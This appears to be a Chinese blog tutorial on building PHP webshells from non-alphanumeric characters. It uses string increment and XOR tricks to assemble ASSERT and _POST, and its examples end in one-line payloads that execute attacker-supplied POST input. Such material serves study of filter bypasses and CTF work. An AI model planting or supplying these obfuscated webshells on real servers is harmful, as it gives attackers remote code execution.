在处理字符变量的算数运算时, PHP 沿袭了 Perl 的习惯. 例如, a = ‘Z’; a++; 将把 $a 变成’AA’, 注意字符变量只能递增, 不能递减, 并且只支持纯字母 (a-z 和 A-Z).
php 弱类型的坑.
参考 P 牛的文章, 自己整理一下.
ASCII
利用之前介绍的特性.
首先要有一个字母 A, 之后才能通过递增得到其它字母.
由于 php 弱类型的特性, array 转换为 string 时会得到 Array.
1
2
|
$_ = ''.[];
echo $_; // Array
|
通过 !
进行非运算, bool 类型强制转换就会变成 0 or 1.
1
2
3
4
|
echo ''; //
echo !(''); // 1
echo ('!'=='@') //
echo !('!'=='@'); // 1
|
获取字符 A.
1
2
|
$_ = ''.[];
echo $_[''];
|
之后通过递增获取其它字符.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
$_ = ''.[];
$_ = $_[''];
$_; // A
$___ = $_;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$___ .= $__.$__;
$__ = $_;
$__++;$__++;$__++;$__++; // E
$___ .= $__;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___ .= $__;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___ .= $__; // ASSERT
$____ = '_';
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____ .= $__;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____ .= $__;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____ .= $__;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____ .= $__; // _POST
|
变量覆盖 得到 $_POST
.
拼接.
1
|
$___($_[_]); // ASSERT($_POST[_])
|
php 不区分大小写.
Xor
在PHP中, 两个变量进行异或时, 会将字符串转换成二进制再进行异或.
两个 foreach 跑出异或结果, 之后拼接.
1
2
3
4
5
6
7
8
9
|
<?php
@$_++; // 1
$__=("#"^"|"); // _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1])
?>
|